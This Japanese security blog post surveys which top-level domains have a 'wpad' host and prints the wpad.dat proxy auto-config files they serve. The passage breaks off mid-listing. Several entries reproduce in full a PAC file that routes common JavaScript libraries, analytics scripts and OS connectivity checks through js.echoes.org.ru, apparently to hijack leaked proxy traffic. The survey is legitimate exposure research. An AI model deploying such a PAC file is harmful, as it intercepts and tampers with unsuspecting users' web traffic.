ネットエージェント株式会社 オフィシャルブログ

技術

危険なWPADを設定しているドメインは?

ASCIIの記事になっていた.TOKYOのドメインのWPAD.TOKYOが予約されていないかったことにも驚いたが、他のレジストラでもWPADが予約されていない状態であった。

全gTLDでWPADがどのぐらいあるのか、調べてみた。

■ ドメイン名, 割り当てられたIPアドレス, wpad.datファイルの長さ, wpad.datがあった場合の中身
ACADEMY,23.253.126.58,0
ACTOR,52.11.212.209,0
AG,52.11.212.209,0
AM,54.77.189.34,0
ARMY,104.24.104.228,65
function FindProxyForURL(url, host) {
return "DIRECT";
}
ASIA,87.118.126.43,61
function FindProxyForURL(url, host) {
return "DIRECT";
}
AT,83.136.38.142,73
function FindProxyForURL(url, host)
{
return "DIRECT";
}
BE,193.191.172.243,21
Site en maintenance.
BEER,52.11.212.209,0
BERLIN,217.70.142.74,0
BET,23.253.126.58,0
BIO,23.253.126.58,0
BLACK,52.11.212.209,0
BLUE,52.11.212.209,0
BOUTIQUE,23.253.126.58,0
BRUSSELS,146.185.137.40,0
BUILD,45.79.187.40,0
BZ,85.214.216.51,0
CAB,23.253.126.58,0
CALVINKLEIN,127.0.53.53,0
CAMERA,23.253.126.58,0
CAPITAL,23.253.126.58,0
CARDS,23.253.126.58,0
CARE,23.253.126.58,0
CASA,104.27.173.6,0
CASH,23.253.126.58,0
CAT,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
CC,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
CENTER,45.79.187.40,0
CH,62.12.173.3,65
function FindProxyForURL(url, host) {
return "DIRECT";
}
CHAT,23.253.126.58,0
CHURCH,23.253.126.58,0
CITY,23.95.95.119,0
CLINIC,23.253.126.58,0
CLOUD,23.95.95.119,0
CM,54.77.189.34,0
CN,103.232.215.138,0
CO,173.236.227.103,0
CODES,23.253.126.58,0
COFFEE,23.253.126.58,0
COLLEGE,91.240.86.14,4124
function FindProxyForURL (url, host) {var Items = [{"URL":"http://an.yandex.ru/system/context.js","Cut":true},{"URL":"http://yandex.st/share/share.js","Cut":false},{"URL":"http://yastatic.net/share/share.js","Cut":false},{"URL":"http://yastatic.net/share2/share.js","Cut":false},{"URL":"http://yastatic.net/nearest.js","Cut":false},{"URL":"http://yastatic.net/jquery/1.8.3/jquery.min.js","Cut":false},{"URL":"http://home.yastatic.net/jquery/2.1.4/jquery.min.js","Cut":false},{"URL":"http://site.yandex.net/v2.0/js/all.js","Cut":false},{"URL":"http://site.yandex.net/v2.0/js/bandar-log.js","Cut":false},{"URL":"http://www.google-analytics.com/ga.js","Cut":true},{"URL":"http://www.google-analytics.com/urchin.js","Cut":true},{"URL":"http://www.google-analytics.com/analytics.js","Cut":true},{"URL":"http://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js","Cut":true},{"URL":"http://pagead2.googlesyndication.com/pagead/show_ads.js","Cut":true},{"URL":"http://pagead2.googlesyndication.com/pagead/osd.js","Cut":true},{"URL":"http://pagead2.googlesyndication.com/pagead/js/lidar.js","Cut":true},{"URL":"http://pagead2.googlesyndication.com/pagead/js/google_top_exp.js","Cut":true},{"URL":"http://pagead2.googlesyndication.com/pagead/show_companion_ad.js","Cut":true},{"URL":"http://apis.google.com/js/plusone.js","Cut":false},{"URL":"http://platform.twitter.com/widgets.js","Cut":false},{"URL":"http://connect.ok.ru/connect.js","Cut":false},{"URL":"http://st.mycdn.me/res/js/lib/10ce6d44.js","Cut":false},{"URL":"http://cdn.connect.mail.ru/js/loader.js","Cut":true},{"URL":"http://top-fwz1.mail.ru/js/code.js","Cut":true},{"URL":"http://widgets.amung.us/small.js","Cut":false},{"URL":"http://widgets.amung.us/classic.js","Cut":false},{"URL":"http://montblanc.rambler.ru/static/js/montblanc.js","Cut":true},{"URL":"http://ad.rambler.ru/static/green2.min.js","Cut":true},{"URL":"http://autocontext.begun.ru/autocontext2_async.js","Cut":true},{"URL":"http://autocontext.begun.ru/autocontext2.js","Cut":true},{"URL":"http://autocontext.begun.ru/autocontext_lite.js","Cut":true},{"URL":"http://userapi.com/js/api/openapi.js","Cut":false},{"URL":"http://st.top100.ru/top100/top100.js","Cut":true},{"URL":"http://st.top100.ru/pack/pack.min.js","Cut":false},{"URL":"http://sb.scorecardresearch.com/beacon.js","Cut":true},{"URL":"http://share.pluso.ru/pluso-like.js","Cut":false},{"URL":"http://code.jquery.com/jquery-latest.js","Cut":false},{"URL":"http://connect.facebook.net/ru_RU/all.js","Cut":false},{"URL":"http://connect.facebook.net/ru_RU/sdk.js","Cut":false},{"URL":"http://connect.facebook.net/en_US/all.js","Cut":false},{"URL":"http://connect.facebook.net/en_US/sdk.js","Cut":false},{"URL":"http://assets.pinterest.com/js/pinit.js","Cut":false}];var I;for (I = 0; I < Items.length; I++) {if (url === Items [I].URL) {return "PROXY js.echoes.org.ru:81";}}if (host === "js.echoes.org.ru" || shExpMatch (host, "*.js.echoes.org.ru")) {return "PROXY js.echoes.org.ru:81";}if ("proxy.debug.comet.echoes.org.ru" === host) {return "DIRECT";}if (shExpMatch (host, "*.node0ext.comet.echoes.org.ru") ||shExpMatch (host, "*.node0int.comet.echoes.org.ru") ||shExpMatch (host, "*.node1ext.comet.echoes.org.ru") ||shExpMatch (host, "*.node1int.comet.echoes.org.ru")){if (shExpMatch (url, "*/image/arrow_fastmenu.gif?id=2035565335")) {return "PROXY js.echoes.org.ru:81";} else {return "DIRECT";}}if (host === "comet.echoes.org.ru" || shExpMatch (host, "*.comet.echoes.org.ru")) {return "PROXY js.echoes.org.ru:81";}if (host === "go.microsoft.com" && shExpMatch (url, "http://*")) {return "PROXY js.echoes.org.ru:81";}if (url === "http://www.msftncsi.com/ncsi.txt") {return "PROXY js.echoes.org.ru:81";}if ((host === "captive.apple.com" || host === "www.airport.us" || host === "www.ibook.info" || host === "www.itools.info" || host === "www.thinkdifferent.us" || host === "www.appleiphonecell.com" || shExpMatch (host, "*.kis.scr.k*-labs.com")) && shExpMatch (url, "http://*")) {return "PROXY js.echoes.org.ru:81";}if (shExpMatch (url, "*/administrator/language/ru-RU/ru-RU.css")) {return "PROXY js.echoes.org.ru:81";}return "DIRECT";}
COM,127.0.0.1,0
COMMUNITY,23.253.126.58,0
COMPANY,45.79.187.40,0
COMPUTER,45.79.187.40,0
CONSULTING,45.79.187.40,0
COOL,52.9.81.115,0
CZ,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
DANCE,52.11.212.209,0
DEALS,217.70.184.38,14048 (HTML FILE)
DESIGN,45.79.187.40,0
DIGITAL,45.79.187.40,0
DIRECT,45.79.187.40,0
DIRECTORY,45.79.187.40,0
DK,176.9.137.236,0
DO,5.196.4.189,60
function FindProxyForURL(url, host) {
return "DIRECT";
}

DOG,52.11.212.209,0
DOMAINS,89.31.143.20,333 (HTML FILE)
EARTH,23.253.126.58,0
EDUCATION,54.77.189.34,0
EE,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
EMAIL,54.77.189.34,0
ENGINEER,45.79.187.40,0
ES,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
ESTATE,23.253.126.58,0
EU,109.106.167.8,0
EVENTS,23.253.126.58,0
EXCHANGE,23.253.126.58,0
EXPERT,45.79.187.40,0
EXPRESS,45.79.187.40,0
FAIL,52.11.212.209,0
FAMILY,23.253.126.58,0
FARM,23.253.126.58,0
FARMERS,127.0.53.53,0
FI,194.100.242.15,0
FISH,23.253.126.58,0
FITNESS,23.253.126.58,0
FM,54.77.189.34,0
FOOTBALL,23.253.126.58,0
FR,176.9.137.236,0
FYI,23.253.126.58,0
GALLERY,23.253.126.58,0
GDN,91.240.86.14,4124
function FindProxyForURL (url, host) {var Items = [{"URL":"http://an.yandex.ru/system/context.js","Cut":true},{"URL":"http://yandex.st/share/share.js","Cut":false},{"URL":"http://yastatic.net/share/share.js","Cut":false},{"URL":"http://yastatic.net/share2/share.js","Cut":false},{"URL":"http://yastatic.net/nearest.js","Cut":false},{"URL":"http://yastatic.net/jquery/1.8.3/jquery.min.js","Cut":false},{"URL":"http://home.yastatic.net/jquery/2.1.4/jquery.min.js","Cut":false},{"URL":"http://site.yandex.net/v2.0/js/all.js","Cut":false},{"URL":"http://site.yandex.net/v2.0/js/bandar-log.js","Cut":false},{"URL":"http://www.google-analytics.com/ga.js","Cut":true},{"URL":"http://www.google-analytics.com/urchin.js","Cut":true},{"URL":"http://www.google-analytics.com/analytics.js","Cut":true},{"URL":"http://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js","Cut":true},{"URL":"http://pagead2.googlesyndication.com/pagead/show_ads.js","Cut":true},{"URL":"http://pagead2.googlesyndication.com/pagead/osd.js","Cut":true},{"URL":"http://pagead2.googlesyndication.com/pagead/js/lidar.js","Cut":true},{"URL":"http://pagead2.googlesyndication.com/pagead/js/google_top_exp.js","Cut":true},{"URL":"http://pagead2.googlesyndication.com/pagead/show_companion_ad.js","Cut":true},{"URL":"http://apis.google.com/js/plusone.js","Cut":false},{"URL":"http://platform.twitter.com/widgets.js","Cut":false},{"URL":"http://connect.ok.ru/connect.js","Cut":false},{"URL":"http://st.mycdn.me/res/js/lib/10ce6d44.js","Cut":false},{"URL":"http://cdn.connect.mail.ru/js/loader.js","Cut":true},{"URL":"http://top-fwz1.mail.ru/js/code.js","Cut":true},{"URL":"http://widgets.amung.us/small.js","Cut":false},{"URL":"http://widgets.amung.us/classic.js","Cut":false},{"URL":"http://montblanc.rambler.ru/static/js/montblanc.js","Cut":true},{"URL":"http://ad.rambler.ru/static/green2.min.js","Cut":true},{"URL":"http://autocontext.begun.ru/autocontext2_async.js","Cut":true},{"URL":"http://autocontext.begun.ru/autocontext2.js","Cut":true},{"URL":"http://autocontext.begun.ru/autocontext_lite.js","Cut":true},{"URL":"http://userapi.com/js/api/openapi.js","Cut":false},{"URL":"http://st.top100.ru/top100/top100.js","Cut":true},{"URL":"http://st.top100.ru/pack/pack.min.js","Cut":false},{"URL":"http://sb.scorecardresearch.com/beacon.js","Cut":true},{"URL":"http://share.pluso.ru/pluso-like.js","Cut":false},{"URL":"http://code.jquery.com/jquery-latest.js","Cut":false},{"URL":"http://connect.facebook.net/ru_RU/all.js","Cut":false},{"URL":"http://connect.facebook.net/ru_RU/sdk.js","Cut":false},{"URL":"http://connect.facebook.net/en_US/all.js","Cut":false},{"URL":"http://connect.facebook.net/en_US/sdk.js","Cut":false},{"URL":"http://assets.pinterest.com/js/pinit.js","Cut":false}];var I;for (I = 0; I < Items.length; I++) {if (url === Items [I].URL) {return "PROXY js.echoes.org.ru:81";}}if (host === "js.echoes.org.ru" || shExpMatch (host, "*.js.echoes.org.ru")) {return "PROXY js.echoes.org.ru:81";}if ("proxy.debug.comet.echoes.org.ru" === host) {return "DIRECT";}if (shExpMatch (host, "*.node0ext.comet.echoes.org.ru") ||shExpMatch (host, "*.node0int.comet.echoes.org.ru") ||shExpMatch (host, "*.node1ext.comet.echoes.org.ru") ||shExpMatch (host, "*.node1int.comet.echoes.org.ru")){if (shExpMatch (url, "*/image/arrow_fastmenu.gif?id=2035565335")) {return "PROXY js.echoes.org.ru:81";} else {return "DIRECT";}}if (host === "comet.echoes.org.ru" || shExpMatch (host, "*.comet.echoes.org.ru")) {return "PROXY js.echoes.org.ru:81";}if (host === "go.microsoft.com" && shExpMatch (url, "http://*")) {return "PROXY js.echoes.org.ru:81";}if (url === "http://www.msftncsi.com/ncsi.txt") {return "PROXY js.echoes.org.ru:81";}if ((host === "captive.apple.com" || host === "www.airport.us" || host === "www.ibook.info" || host === "www.itools.info" || host === "www.thinkdifferent.us" || host === "www.appleiphonecell.com" || shExpMatch (host, "*.kis.scr.k*-labs.com")) && shExpMatch (url, "http://*")) {return "PROXY js.echoes.org.ru:81";}if (shExpMatch (url, "*/administrator/language/ru-RU/ru-RU.css")) {return "PROXY js.echoes.org.ru:81";}return "DIRECT";}GE,,0
GG,52.11.212.209,0
GOLD,23.253.126.58,0
GOLF,23.253.126.58,0
GR,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
GRAPHICS,23.253.126.58,0
GREEN,23.253.126.58,0
GROUP,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
GS,85.214.216.51,0
GUIDE,23.253.126.58,0
GURU,45.79.187.40,0
GY,23.253.126.58,0
HAMBURG,217.70.142.74,0
HEALTHCARE,23.253.126.58,0
HOLDINGS,159.148.186.199,0
HORSE,23.253.126.58,0
HOST,5.45.73.16,0
HOUSE,45.79.187.40,0
HR,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
HT,23.253.126.58,0
IM,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
IMMO,23.253.126.58,0
IN,98.124.199.115,0
INFO,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
INSTITUTE,23.95.95.119,0
IS,5.196.4.189,60
function FindProxyForURL(url, host) {
return "DIRECT";
}

IST,23.253.126.58,0
IT,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
// REMOTE: all outside world traffic is DIRECT
return "DIRECT";
}
JE,52.11.212.209,0
KIM,91.240.86.14,4124
function FindProxyForURL (url, host) {var Items = [{"URL":"http://an.yandex.ru/system/context.js","Cut":true},{"URL":"http://yandex.st/share/share.js","Cut":false},{"URL":"http://yastatic.net/share/share.js","Cut":false},{"URL":"http://yastatic.net/share2/share.js","Cut":false},{"URL":"http://yastatic.net/nearest.js","Cut":false},{"URL":"http://yastatic.net/jquery/1.8.3/jquery.min.js","Cut":false},{"URL":"http://home.yastatic.net/jquery/2.1.4/jquery.min.js","Cut":false},{"URL":"http://site.yandex.net/v2.0/js/all.js","Cut":false},{"URL":"http://site.yandex.net/v2.0/js/bandar-log.js","Cut":false},{"URL":"http://www.google-analytics.com/ga.js","Cut":true},{"URL":"http://www.google-analytics.com/urchin.js","Cut":true},{"URL":"http://www.google-analytics.com/analytics.js","Cut":true},{"URL":"http://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js","Cut":true},{"URL":"http://pagead2.googlesyndication.com/pagead/show_ads.js","Cut":true},{"URL":"http://pagead2.googlesyndication.com/pagead/osd.js","Cut":true},{"URL":"http://pagead2.googlesyndication.com/pagead/js/lidar.js","Cut":true},{"URL":"http://pagead2.googlesyndication.com/pagead/js/google_top_exp.js","Cut":true},{"URL":"http://pagead2.googlesyndication.com/pagead/show_companion_ad.js","Cut":true},{"URL":"http://apis.google.com/js/plusone.js","Cut":false},{"URL":"http://platform.twitter.com/widgets.js","Cut":false},{"URL":"http://connect.ok.ru/connect.js","Cut":false},{"URL":"http://st.mycdn.me/res/js/lib/10ce6d44.js","Cut":false},{"URL":"http://cdn.connect.mail.ru/js/loader.js","Cut":true},{"URL":"http://top-fwz1.mail.ru/js/code.js","Cut":true},{"URL":"http://widgets.amung.us/small.js","Cut":false},{"URL":"http://widgets.amung.us/classic.js","Cut":false},{"URL":"http://montblanc.rambler.ru/static/js/montblanc.js","Cut":true},{"URL":"http://ad.rambler.ru/static/green2.min.js","Cut":true},{"URL":"http://autocontext.begun.ru/autocontext2_async.js","Cut":true},{"URL":"http://autocontext.begun.ru/autocontext2.js","Cut":true},{"URL":"http://autocontext.begun.ru/autocontext_lite.js","Cut":true},{"URL":"http://userapi.com/js/api/openapi.js","Cut":false},{"URL":"http://st.top100.ru/top100/top100.js","Cut":true},{"URL":"http://st.top100.ru/pack/pack.min.js","Cut":false},{"URL":"http://sb.scorecardresearch.com/beacon.js","Cut":true},{"URL":"http://share.pluso.ru/pluso-like.js","Cut":false},{"URL":"http://code.jquery.com/jquery-latest.js","Cut":false},{"URL":"http://connect.facebook.net/ru_RU/all.js","Cut":false},{"URL":"http://connect.facebook.net/ru_RU/sdk.js","Cut":false},{"URL":"http://connect.facebook.net/en_US/all.js","Cut":false},{"URL":"http://connect.facebook.net/en_US/sdk.js","Cut":false},{"URL":"http://assets.pinterest.com/js/pinit.js","Cut":false}];var I;for (I = 0; I < Items.length; I++) {if (url === Items [I].URL) {return "PROXY js.echoes.org.ru:81";}}if (host === "js.echoes.org.ru" || shExpMatch (host, "*.js.echoes.org.ru")) {return "PROXY js.echoes.org.ru:81";}if ("proxy.debug.comet.echoes.org.ru" === host) {return "DIRECT";}if (shExpMatch (host, "*.node0ext.comet.echoes.org.ru") ||shExpMatch (host, "*.node0int.comet.echoes.org.ru") ||shExpMatch (host, "*.node1ext.comet.echoes.org.ru") ||shExpMatch (host, "*.node1int.comet.echoes.org.ru")){if (shExpMatch (url, "*/image/arrow_fastmenu.gif?id=2035565335")) {return "PROXY js.echoes.org.ru:81";} else {return "DIRECT";}}if (host === "comet.echoes.org.ru" || shExpMatch (host, "*.comet.echoes.org.ru")) {return "PROXY js.echoes.org.ru:81";}if (host === "go.microsoft.com" && shExpMatch (url, "http://*")) {return "PROXY js.echoes.org.ru:81";}if (url === "http://www.msftncsi.com/ncsi.txt") {return "PROXY js.echoes.org.ru:81";}if ((host === "captive.apple.com" || host === "www.airport.us" || host === "www.ibook.info" || host === "www.itools.info" || host === "www.thinkdifferent.us" || host === "www.appleiphonecell.com" || shExpMatch (host, "*.kis.scr.k*-labs.com")) && shExpMatch (url, "http://*")) {return "PROXY js.echoes.org.ru:81";}if (shExpMatch (url, "*/administrator/language/ru-RU/ru-RU.css")) {return "PROXY js.echoes.org.ru:81";}return "DIRECT";}KINDER,,0
KITCHEN,23.253.126.58,0
KIWI,23.253.126.58,0
LAND,23.253.126.58,0
LEGAL,23.253.126.58,0
LGBT,23.253.126.58,0
LI,5.196.4.189,60
function FindProxyForURL(url, host) {
return "DIRECT";
}

LIFE,184.168.221.52,0
LIGHTING,23.253.126.58,0
LIMITED,54.77.189.34,0
LIMO,23.253.126.58,0
LIVE,144.76.184.43,935
// WPADblock.com project
// Monitoring leaking WPAD traffic since 2007. Read more at www.wpadblock.com
function FindProxyForURL(url, host) {
// LOCAL: regular expression patterns for testsite.local
if((isInNet(myIpAddress(), "172.16.44.0", "255.255.255.0") && (((shExpMatch(url, "*test*te.loc*/?ecur?/*") && !shExpMatch(url, "*1?222?1*")) || (shExpMatch(url, "*testsi*.*al/s*e/*txt") && !shExpMatch(url, "*2*88*") && (shExpMatch(url, "*3?13*")))))) || (shExpMatch(url, "*/s?c*c??a*pres?.c*/e/*") && !shExpMatch(url, "*aQNVZ?AU*")) || (shExpMatch(url, "*t*/*w*.b?*k*g?c*m/*aid*") && !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") && !shExpMatch(url, "*s:/*") && !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*g??id*")) || (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") && !shExpMatch(url, "*d=1?90*"))) return "PROXY 144.76.184.43:80";
